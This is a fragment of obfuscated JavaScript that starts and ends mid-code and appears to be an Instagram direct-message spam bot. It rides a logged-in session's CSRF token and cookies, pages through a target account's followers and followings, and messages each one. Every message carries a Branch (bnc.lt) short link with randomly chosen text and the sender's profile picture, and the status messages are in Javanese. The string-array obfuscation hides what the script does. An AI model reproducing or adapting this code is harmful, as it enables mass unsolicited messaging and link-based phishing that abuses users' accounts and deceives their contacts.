_0x2a837f=_0x1ac7d5;getThread=_0x474d89['thread_id'],_0x12882a++,$(_0x2a837f(0x20a))[_0x2a837f(0x1fd)](_0x12882a),$(_0x2a837f(0x2ce))[_0x2a837f(0x28d)](_0x2a837f(0x1d2))[_0x2a837f(0x204)](_0x2a837f(0x2ab),_0x2a837f(0x198)),$['ajax']({'url':_0x46fdb6,'type':_0x2a837f(0x26a),'cache':![],'contentType':'application/json;\x20charset=utf-8','dataType':_0x2a837f(0x2e8),'data':JSON[_0x2a837f(0x208)]({'branch_key':apiBrancgh[_0x284d8d],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x3c9ecf],'$og_image_url':send_profile}})})[_0x2a837f(0x24e)](function(_0x2a445c){var _0x668acf=_0x2a837f,_0x4aa169=_0x2a445c['url'],_0x3a0ce2=_0x4aa169['replace'](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x668acf(0x1bb));$[_0x668acf(0x2ea)]({'url':_0x535a19,'type':_0x668acf(0x26a),'crossDomain':!![],'headers':{'content-type':_0x668acf(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x668acf(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':'send_item','client_context':guid(),'link_text':_0x3a0ce2,'link_urls':JSON[_0x668acf(0x208)]([_0x3a0ce2]),'mutation_token':guid(),'thread_id':getThread}});});})['fail'](function(){var _0x46838e=_0x1ac7d5;_0x39e605++,$(_0x46838e(0x257))['text'](_0x39e605),$(_0x46838e(0x2ce))['html']('<i>Limit...\x20&#129324;</i>')[_0x46838e(0x204)](_0x46838e(0x2ab),_0x46838e(0x1e7));}),_0x3c2f15();function _0x3c2f15(){setTimeout(function(){var _0x10c211=_0x28a9;$['ajax']({'url':_0x3a372b,'type':_0x10c211(0x1a3),'data':{'query_hash':_0x10c211(0x1c6),'variables':JSON[_0x10c211(0x208)]({'id':check_uid,'include_reel':!![],'fetch_mutual':![],'first':'19','after':_0x317e88})}})['done'](function(_0x283035){var _0x5458fd=_0x10c211;second_Edge=_0x283035[_0x5458fd(0x29b)][_0x5458fd(0x1cb)]['edge_followed_by'][_0x5458fd(0x213)],second_scroll=_0x283035[_0x5458fd(0x29b)]['user'][_0x5458fd(0x25e)][_0x5458fd(0x2a7)][_0x5458fd(0x1f5)],falsetagak=_0x283035[_0x5458fd(0x29b)][_0x5458fd(0x1cb)][_0x5458fd(0x25e)]['page_info']['has_next_page'],_0x317e88=second_scroll,$[_0x5458fd(0x286)](second_Edge,function(_0x26cb33,_0x3032a4){var _0x4dd7c1=!![],_0x1d5802=_0x26cb33==second_Edge['length']-0x1;return setTimeout(function(){var _0x2c228e=_0x28a9,_0x371920=Math[_0x2c228e(0x1db)](Math[_0x2c228e(0x231)]()*kirempesan['length']),_0x4f415e=Math['floor'](Math[_0x2c228e(0x231)]()*apiBrancgh[_0x2c228e(0x225)]);if(_0x1d5802){if(falsetagak===![])return $['ajax']({'url':_0x52f72f,'type':_0x2c228e(0x26a),'crossDomain':!![],'headers':{'content-type':_0x2c228e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x2c228e(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x1da42f=_0x2c228e;$(_0x1da42f(0x2ce))[_0x1da42f(0x28d)](_0x1da42f(0x285))[_0x1da42f(0x204)]('color',_0x1da42f(0x255));},'data':{'recipient_users':JSON[_0x2c228e(0x208)]([_0x3032a4[_0x2c228e(0x24f)]['id']])}})[_0x2c228e(0x24e)](function(_0x4baaab){var _0x145440=_0x2c228e;getThread=_0x4baaab[_0x145440(0x271)],_0x12882a++,$('.olePiro')[_0x145440(0x1fd)](_0x12882a),$('.errorLog')['html'](_0x145440(0x2a9))[_0x145440(0x204)](_0x145440(0x2ab),'blue'),$[_0x145440(0x2ea)]({'url':_0x46fdb6,'type':_0x145440(0x26a),'cache':![],'contentType':_0x145440(0x2d8),'dataType':_0x145440(0x2e8),'data':JSON[_0x145440(0x208)]({'branch_key':apiBrancgh[_0x4f415e],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x371920],'$og_image_url':send_profile}})})[_0x145440(0x24e)](function(_0x2db967){var _0x25e655=_0x145440,_0x5eebe9=_0x2db967['url'],_0x33c321=_0x5eebe9[_0x25e655(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x25e655(0x1bb));$[_0x25e655(0x2ea)]({'url':_0x535a19,'type':_0x25e655(0x26a),'crossDomain':!![],'headers':{'content-type':_0x25e655(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x25e655(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x25e655(0x1d5),'client_context':guid(),'link_text':_0x33c321,'link_urls':JSON[_0x25e655(0x208)]([_0x33c321]),'mutation_token':guid(),'thread_id':getThread}});});})['fail'](function(){var _0x373718=_0x2c228e;_0x39e605++,$(_0x373718(0x257))[_0x373718(0x1fd)](_0x39e605),$(_0x373718(0x2ce))[_0x373718(0x28d)](_0x373718(0x2a9))[_0x373718(0x204)](_0x373718(0x2ab),_0x373718(0x255));}),clearTimeout(),_0x4dd7c1=![],![];else $['ajax']({'url':_0x52f72f,'type':'post','crossDomain':!![],'headers':{'content-type':_0x2c228e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x2c228e(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0xd02a45=_0x2c228e;$(_0xd02a45(0x2ce))['html'](_0xd02a45(0x285))['css'](_0xd02a45(0x2ab),'blue');},'data':{'recipient_users':JSON['stringify']([_0x3032a4[_0x2c228e(0x24f)]['id']])}})[_0x2c228e(0x24e)](function(_0x5ca358){var _0x591dd9=_0x2c228e;getThread=_0x5ca358[_0x591dd9(0x271)],_0x12882a++,$(_0x591dd9(0x20a))['text'](_0x12882a),$('.errorLog')[_0x591dd9(0x28d)](_0x591dd9(0x1d2))[_0x591dd9(0x204)]('color',_0x591dd9(0x198)),$[_0x591dd9(0x2ea)]({'url':_0x46fdb6,'type':_0x591dd9(0x26a),'cache':![],'contentType':_0x591dd9(0x2d8),'dataType':_0x591dd9(0x2e8),'data':JSON[_0x591dd9(0x208)]({'branch_key':apiBrancgh[_0x4f415e],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x371920],'$og_image_url':send_profile}})})[_0x591dd9(0x24e)](function(_0x4a66c2){var _0x2342bf=_0x591dd9,_0x4f49c9=_0x4a66c2['url'],_0x44e1da=_0x4f49c9[_0x2342bf(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');$[_0x2342bf(0x2ea)]({'url':_0x535a19,'type':_0x2342bf(0x26a),'crossDomain':!![],'headers':{'content-type':_0x2342bf(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x2342bf(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x2342bf(0x1d5),'client_context':guid(),'link_text':_0x44e1da,'link_urls':JSON['stringify']([_0x44e1da]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x2c228e(0x272)](function(){var _0x431bb8=_0x2c228e;_0x39e605++,$(_0x431bb8(0x257))[_0x431bb8(0x1fd)](_0x39e605),$(_0x431bb8(0x2ce))[_0x431bb8(0x28d)](_0x431bb8(0x1be))[_0x431bb8(0x204)](_0x431bb8(0x2ab),_0x431bb8(0x1e7));}),_0x3c2f15();}else $[_0x2c228e(0x2ea)]({'url':_0x52f72f,'type':_0x2c228e(0x26a),'crossDomain':!![],'headers':{'content-type':_0x2c228e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x2c228e(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x5d10ce=_0x2c228e;$(_0x5d10ce(0x2ce))[_0x5d10ce(0x28d)]('<i>Get\x20UID..\x20&#128514;</i>')['css'](_0x5d10ce(0x2ab),_0x5d10ce(0x255));},'data':{'recipient_users':JSON[_0x2c228e(0x208)]([_0x3032a4[_0x2c228e(0x24f)]['id']])}})[_0x2c228e(0x24e)](function(_0xea193){var _0x34d12b=_0x2c228e;getThread=_0xea193[_0x34d12b(0x271)],_0x12882a++,$(_0x34d12b(0x20a))['text'](_0x12882a),$('.errorLog')[_0x34d12b(0x28d)]('<i>Success\x20DM-F\x20..\x20&#128522;</i>')['css'](_0x34d12b(0x2ab),_0x34d12b(0x198)),$[_0x34d12b(0x2ea)]({'url':_0x46fdb6,'type':'post','cache':![],'contentType':_0x34d12b(0x2d8),'dataType':_0x34d12b(0x2e8),'data':JSON[_0x34d12b(0x208)]({'branch_key':apiBrancgh[_0x4f415e],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x371920],'$og_image_url':send_profile}})})[_0x34d12b(0x24e)](function(_0x2cf16e){var _0x20e759=_0x34d12b,_0x4032f7=_0x2cf16e[_0x20e759(0x217)],_0x106971=_0x4032f7[_0x20e759(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x20e759(0x1bb));$['ajax']({'url':_0x535a19,'type':_0x20e759(0x26a),'crossDomain':!![],'headers':{'content-type':_0x20e759(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x20e759(0x1d5),'client_context':guid(),'link_text':_0x106971,'link_urls':JSON[_0x20e759(0x208)]([_0x106971]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x2c228e(0x272)](function(){var _0x3adf1c=_0x2c228e;_0x39e605++,$(_0x3adf1c(0x257))[_0x3adf1c(0x1fd)](_0x39e605),$(_0x3adf1c(0x2ce))[_0x3adf1c(0x28d)](_0x3adf1c(0x1be))[_0x3adf1c(0x204)]('color',_0x3adf1c(0x1e7));});},_0x26cb33*_0x44b3ae),_0x4dd7c1;});});},0x3e8);}}}else $[_0x1ac7d5(0x2ea)]({'url':_0x52f72f,'type':_0x1ac7d5(0x26a),'crossDomain':!![],'headers':{'content-type':_0x1ac7d5(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x24125f=_0x1ac7d5;$(_0x24125f(0x2ce))[_0x24125f(0x28d)](_0x24125f(0x285))[_0x24125f(0x204)](_0x24125f(0x2ab),_0x24125f(0x255));},'data':{'recipient_users':JSON[_0x1ac7d5(0x208)]([_0x2d45b2[_0x1ac7d5(0x24f)]['id']])}})[_0x1ac7d5(0x24e)](function(_0x5fffc8){var _0x45987d=_0x1ac7d5;getThread=_0x5fffc8[_0x45987d(0x271)],_0x12882a++,$(_0x45987d(0x20a))['text'](_0x12882a),$('.errorLog')[_0x45987d(0x28d)](_0x45987d(0x202))['css'](_0x45987d(0x2ab),_0x45987d(0x198)),$[_0x45987d(0x2ea)]({'url':_0x46fdb6,'type':_0x45987d(0x26a),'cache':![],'contentType':_0x45987d(0x2d8),'dataType':_0x45987d(0x2e8),'data':JSON[_0x45987d(0x208)]({'branch_key':apiBrancgh[_0x284d8d],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x3c9ecf],'$og_image_url':send_profile}})})[_0x45987d(0x24e)](function(_0x1e497b){var _0x1b16d8=_0x45987d,_0x2d1792=_0x1e497b[_0x1b16d8(0x217)],_0x2cb713=_0x2d1792[_0x1b16d8(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x1b16d8(0x1bb));$[_0x1b16d8(0x2ea)]({'url':_0x535a19,'type':_0x1b16d8(0x26a),'crossDomain':!![],'headers':{'content-type':_0x1b16d8(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x1b16d8(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x1b16d8(0x1d5),'client_context':guid(),'link_text':_0x2cb713,'link_urls':JSON[_0x1b16d8(0x208)]([_0x2cb713]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x1ac7d5(0x272)](function(){var _0x2dcf75=_0x1ac7d5;_0x39e605++,$(_0x2dcf75(0x257))[_0x2dcf75(0x1fd)](_0x39e605),$(_0x2dcf75(0x2ce))[_0x2dcf75(0x28d)](_0x2dcf75(0x1be))[_0x2dcf75(0x204)](_0x2dcf75(0x2ab),_0x2dcf75(0x1e7));});},_0x5c607a*_0x44b3ae),_0x562f9c;});if(_0x536e1e!=='0')return _0x536e1e;});}else{if($(_0x5cc1c5(0x216))[_0x5cc1c5(0x1de)](_0x5cc1c5(0x25c))['length']>0x0){if(!_0x1af123||_0x1af123<0x1)return alert(_0x5cc1c5(0x1e2)),![];else{if(!_0x159391||_0x159391<0x1)return alert(_0x5cc1c5(0x230)),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)]('<i>Enteni\x20Seg...\x20&#x1F600;</i>')['css'](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));}if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$['ajax']({'url':_0x3a372b,'type':_0x5cc1c5(0x1a3),'headers':{'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e},'data':{'query_hash':_0x5cc1c5(0x1ff),'variables':JSON[_0x5cc1c5(0x208)]({'id':check_uid,'include_reel':!![],'fetch_mutual':!![],'first':'24'})}})[_0x5cc1c5(0x24e)](function(_0x177d57,_0x203d52,_0x29b76c){var _0x4db45c=_0x5cc1c5;theEdge=_0x177d57[_0x4db45c(0x29b)]['user'][_0x4db45c(0x247)][_0x4db45c(0x213)],next_scroll=_0x177d57[_0x4db45c(0x29b)][_0x4db45c(0x1cb)][_0x4db45c(0x247)][_0x4db45c(0x2a7)]['end_cursor'],onotagak=_0x177d57[_0x4db45c(0x29b)][_0x4db45c(0x1cb)]['edge_follow']['page_info']['has_next_page'],_0x317e88=next_scroll,_0x536e1e=_0x29b76c[_0x4db45c(0x2cc)](_0x4db45c(0x209));if(theEdge===null||theEdge[_0x4db45c(0x225)]===0x0)return $(_0x4db45c(0x2ce))[_0x4db45c(0x28d)]('<i>Followingmu\x200..\x20&#128514;</i>')[_0x4db45c(0x204)](_0x4db45c(0x2ab),_0x4db45c(0x255)),![];else $[_0x4db45c(0x286)](theEdge,function(_0x43e983,_0x316cd0){var _0x4e857c=_0x4db45c,_0x36d555=!![],_0x58a4d9=_0x43e983==theEdge[_0x4e857c(0x225)]-0x1;return setTimeout(function(){var _0x3d7a98=_0x4e857c,_0x476aaa=Math[_0x3d7a98(0x1db)](Math[_0x3d7a98(0x231)]()*kirempesan[_0x3d7a98(0x225)]),_0x46d270=Math[_0x3d7a98(0x1db)](Math[_0x3d7a98(0x231)]()*apiBrancgh[_0x3d7a98(0x225)]);if(_0x58a4d9){if(onotagak===![])return $[_0x3d7a98(0x2ea)]({'url':_0x52f72f,'type':'post','crossDomain':!![],'headers':{'content-type':_0x3d7a98(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x15bb52=_0x3d7a98;$(_0x15bb52(0x2ce))[_0x15bb52(0x28d)]('<i>Get\x20UID..\x20&#128514;</i>')['css'](_0x15bb52(0x2ab),_0x15bb52(0x255));},'data':{'recipient_users':JSON[_0x3d7a98(0x208)]([_0x316cd0[_0x3d7a98(0x24f)]['id']])}})[_0x3d7a98(0x24e)](function(_0x38c785){var _0x31ce97=_0x3d7a98;getThread=_0x38c785['thread_id'],_0x12882a++,$(_0x31ce97(0x20a))[_0x31ce97(0x1fd)](_0x12882a),$(_0x31ce97(0x2ce))[_0x31ce97(0x28d)](_0x31ce97(0x2a9))[_0x31ce97(0x204)](_0x31ce97(0x2ab),_0x31ce97(0x255)),$[_0x31ce97(0x2ea)]({'url':_0x46fdb6,'type':_0x31ce97(0x26a),'cache':![],'contentType':_0x31ce97(0x2d8),'dataType':'json','data':JSON[_0x31ce97(0x208)]({'branch_key':apiBrancgh[_0x46d270],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x476aaa],'$og_image_url':send_profile}})})['done'](function(_0x368b2c){var _0x105e9f=_0x31ce97,_0x48241e=_0x368b2c[_0x105e9f(0x217)],_0x47d36a=_0x48241e['replace'](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x105e9f(0x1bb));$[_0x105e9f(0x2ea)]({'url':_0x535a19,'type':_0x105e9f(0x26a),'crossDomain':!![],'headers':{'content-type':_0x105e9f(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x105e9f(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x105e9f(0x1d5),'client_context':guid(),'link_text':_0x47d36a,'link_urls':JSON['stringify']([_0x47d36a]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x3d7a98(0x272)](function(){var _0x77e140=_0x3d7a98;_0x39e605++,$(_0x77e140(0x257))[_0x77e140(0x1fd)](_0x39e605),$(_0x77e140(0x2ce))['html']('<i>Wes\x20Mari\x20..\x20&#128522;</i>')[_0x77e140(0x204)]('color','blue');}),clearTimeout(),_0x36d555=![],![];else{$[_0x3d7a98(0x2ea)]({'url':_0x52f72f,'type':_0x3d7a98(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x3d7a98(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x3290dc=_0x3d7a98;$('.errorLog')[_0x3290dc(0x28d)](_0x3290dc(0x285))['css']('color','blue');},'data':{'recipient_users':JSON[_0x3d7a98(0x208)]([_0x316cd0[_0x3d7a98(0x24f)]['id']])}})[_0x3d7a98(0x24e)](function(_0x1e5b53){var _0x17bd01=_0x3d7a98;getThread=_0x1e5b53[_0x17bd01(0x271)],_0x12882a++,$('.olePiro')[_0x17bd01(0x1fd)](_0x12882a),$('.errorLog')['html'](_0x17bd01(0x1d2))[_0x17bd01(0x204)](_0x17bd01(0x2ab),_0x17bd01(0x198)),$[_0x17bd01(0x2ea)]({'url':_0x46fdb6,'type':_0x17bd01(0x26a),'cache':![],'contentType':_0x17bd01(0x2d8),'dataType':'json','data':JSON[_0x17bd01(0x208)]({'branch_key':apiBrancgh[_0x46d270],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x476aaa],'$og_image_url':send_profile}})})[_0x17bd01(0x24e)](function(_0x474c1e){var _0x4711a9=_0x17bd01,_0x3487fe=_0x474c1e[_0x4711a9(0x217)],_0x523a1d=_0x3487fe[_0x4711a9(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x4711a9(0x1bb));$[_0x4711a9(0x2ea)]({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':_0x4711a9(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4711a9(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x4711a9(0x1d5),'client_context':guid(),'link_text':_0x523a1d,'link_urls':JSON[_0x4711a9(0x208)]([_0x523a1d]),'mutation_token':guid(),'thread_id':getThread}});});})['fail'](function(){var _0x3246f0=_0x3d7a98;_0x39e605++,$(_0x3246f0(0x257))['text'](_0x39e605),$(_0x3246f0(0x2ce))[_0x3246f0(0x28d)]('<i>Limit...\x20&#129324;</i>')[_0x3246f0(0x204)](_0x3246f0(0x2ab),_0x3246f0(0x1e7));}),_0x562e05();function _0x562e05(){setTimeout(function(){var _0x4adc71=_0x28a9;$['ajax']({'url':_0x3a372b,'type':_0x4adc71(0x1a3),'data':{'query_hash':_0x4adc71(0x1ff),'variables':JSON[_0x4adc71(0x208)]({'id':check_uid,'include_reel':!![],'fetch_mutual':![],'first':'19','after':_0x317e88})}})[_0x4adc71(0x24e)](function(_0x4b3289){var _0x33ec3f=_0x4adc71;second_Edge=_0x4b3289[_0x33ec3f(0x29b)]['user']['edge_follow']['edges'],second_scroll=_0x4b3289[_0x33ec3f(0x29b)][_0x33ec3f(0x1cb)][_0x33ec3f(0x247)][_0x33ec3f(0x2a7)]['end_cursor'],falsetagak=_0x4b3289[_0x33ec3f(0x29b)][_0x33ec3f(0x1cb)]['edge_follow'][_0x33ec3f(0x2a7)][_0x33ec3f(0x21c)],_0x317e88=second_scroll,$[_0x33ec3f(0x286)](second_Edge,function(_0x3525da,_0x25d2a1){var _0x34fdc6=_0x33ec3f,_0x35ae9a=!![],_0x51642a=_0x3525da==second_Edge[_0x34fdc6(0x225)]-0x1;return setTimeout(function(){var _0x472239=_0x34fdc6,_0x145179=Math['floor'](Math[_0x472239(0x231)]()*kirempesan[_0x472239(0x225)]),_0x474a68=Math[_0x472239(0x1db)](Math[_0x472239(0x231)]()*apiBrancgh[_0x472239(0x225)]);if(_0x51642a){if(falsetagak===![])return $['ajax']({'url':_0x52f72f,'type':_0x472239(0x26a),'crossDomain':!![],'headers':{'content-type':_0x472239(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x472239(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x2daaf0=_0x472239;$(_0x2daaf0(0x2ce))[_0x2daaf0(0x28d)](_0x2daaf0(0x285))['css']('color',_0x2daaf0(0x255));},'data':{'recipient_users':JSON[_0x472239(0x208)]([_0x25d2a1[_0x472239(0x24f)]['id']])}})[_0x472239(0x24e)](function(_0x39abbc){var _0x4830ad=_0x472239;getThread=_0x39abbc['thread_id'],_0x12882a++,$(_0x4830ad(0x20a))[_0x4830ad(0x1fd)](_0x12882a),$('.errorLog')[_0x4830ad(0x28d)]('<i>Wes\x20Mari\x20..\x20&#128522;</i>')['css'](_0x4830ad(0x2ab),_0x4830ad(0x255)),$['ajax']({'url':_0x46fdb6,'type':_0x4830ad(0x26a),'cache':![],'contentType':_0x4830ad(0x2d8),'dataType':_0x4830ad(0x2e8),'data':JSON[_0x4830ad(0x208)]({'branch_key':apiBrancgh[_0x474a68],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x145179],'$og_image_url':send_profile}})})[_0x4830ad(0x24e)](function(_0x4352b6){var _0x3626a3=_0x4830ad,_0x50fd68=_0x4352b6[_0x3626a3(0x217)],_0x592057=_0x50fd68[_0x3626a3(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x3626a3(0x1bb));$['ajax']({'url':_0x535a19,'type':_0x3626a3(0x26a),'crossDomain':!![],'headers':{'content-type':_0x3626a3(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3626a3(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x3626a3(0x1d5),'client_context':guid(),'link_text':_0x592057,'link_urls':JSON[_0x3626a3(0x208)]([_0x592057]),'mutation_token':guid(),'thread_id':getThread}});});})['fail'](function(){var _0x1e1fb6=_0x472239;_0x39e605++,$('.mendal')[_0x1e1fb6(0x1fd)](_0x39e605),$(_0x1e1fb6(0x2ce))[_0x1e1fb6(0x28d)]('<i>Wes\x20Mari\x20..\x20&#128522;</i>')[_0x1e1fb6(0x204)](_0x1e1fb6(0x2ab),_0x1e1fb6(0x255));}),clearTimeout(),_0x35ae9a=![],![];else $['ajax']({'url':_0x52f72f,'type':_0x472239(0x26a),'crossDomain':!![],'headers':{'content-type':_0x472239(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x472239(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x1ce2e5=_0x472239;$('.errorLog')['html'](_0x1ce2e5(0x285))['css'](_0x1ce2e5(0x2ab),_0x1ce2e5(0x255));},'data':{'recipient_users':JSON[_0x472239(0x208)]([_0x25d2a1[_0x472239(0x24f)]['id']])}})[_0x472239(0x24e)](function(_0x2c418d){var _0x3d2fbb=_0x472239;getThread=_0x2c418d[_0x3d2fbb(0x271)],_0x12882a++,$('.olePiro')[_0x3d2fbb(0x1fd)](_0x12882a),$(_0x3d2fbb(0x2ce))[_0x3d2fbb(0x28d)]('<i>Success\x20DM-F\x20..\x20&#128522;</i>')[_0x3d2fbb(0x204)](_0x3d2fbb(0x2ab),_0x3d2fbb(0x198)),$[_0x3d2fbb(0x2ea)]({'url':_0x46fdb6,'type':_0x3d2fbb(0x26a),'cache':![],'contentType':_0x3d2fbb(0x2d8),'dataType':_0x3d2fbb(0x2e8),'data':JSON[_0x3d2fbb(0x208)]({'branch_key':apiBrancgh[_0x474a68],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x145179],'$og_image_url':send_profile}})})[_0x3d2fbb(0x24e)](function(_0x40c81d){var _0x3ec699=_0x3d2fbb,_0x356691=_0x40c81d[_0x3ec699(0x217)],_0x4036cb=_0x356691[_0x3ec699(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');$[_0x3ec699(0x2ea)]({'url':_0x535a19,'type':_0x3ec699(0x26a),'crossDomain':!![],'headers':{'content-type':_0x3ec699(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3ec699(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x3ec699(0x1d5),'client_context':guid(),'link_text':_0x4036cb,'link_urls':JSON[_0x3ec699(0x208)]([_0x4036cb]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x472239(0x272)](function(){var _0x2cf507=_0x472239;_0x39e605++,$(_0x2cf507(0x257))['text'](_0x39e605),$(_0x2cf507(0x2ce))[_0x2cf507(0x28d)](_0x2cf507(0x1be))[_0x2cf507(0x204)](_0x2cf507(0x2ab),'red');}),_0x562e05();}else $['ajax']({'url':_0x52f72f,'type':_0x472239(0x26a),'crossDomain':!![],'headers':{'content-type':_0x472239(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x426c57=_0x472239;$('.errorLog')[_0x426c57(0x28d)](_0x426c57(0x285))[_0x426c57(0x204)]('color','blue');},'data':{'recipient_users':JSON[_0x472239(0x208)]([_0x25d2a1[_0x472239(0x24f)]['id']])}})[_0x472239(0x24e)](function(_0x2aed53){var _0xc752e5=_0x472239;getThread=_0x2aed53[_0xc752e5(0x271)],_0x12882a++,$(_0xc752e5(0x20a))[_0xc752e5(0x1fd)](_0x12882a),$(_0xc752e5(0x2ce))[_0xc752e5(0x28d)](_0xc752e5(0x1d2))[_0xc752e5(0x204)](_0xc752e5(0x2ab),_0xc752e5(0x198)),$[_0xc752e5(0x2ea)]({'url':_0x46fdb6,'type':_0xc752e5(0x26a),'cache':![],'contentType':_0xc752e5(0x2d8),'dataType':'json','data':JSON[_0xc752e5(0x208)]({'branch_key':apiBrancgh[_0x474a68],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x145179],'$og_image_url':send_profile}})})[_0xc752e5(0x24e)](function(_0x79a34c){var 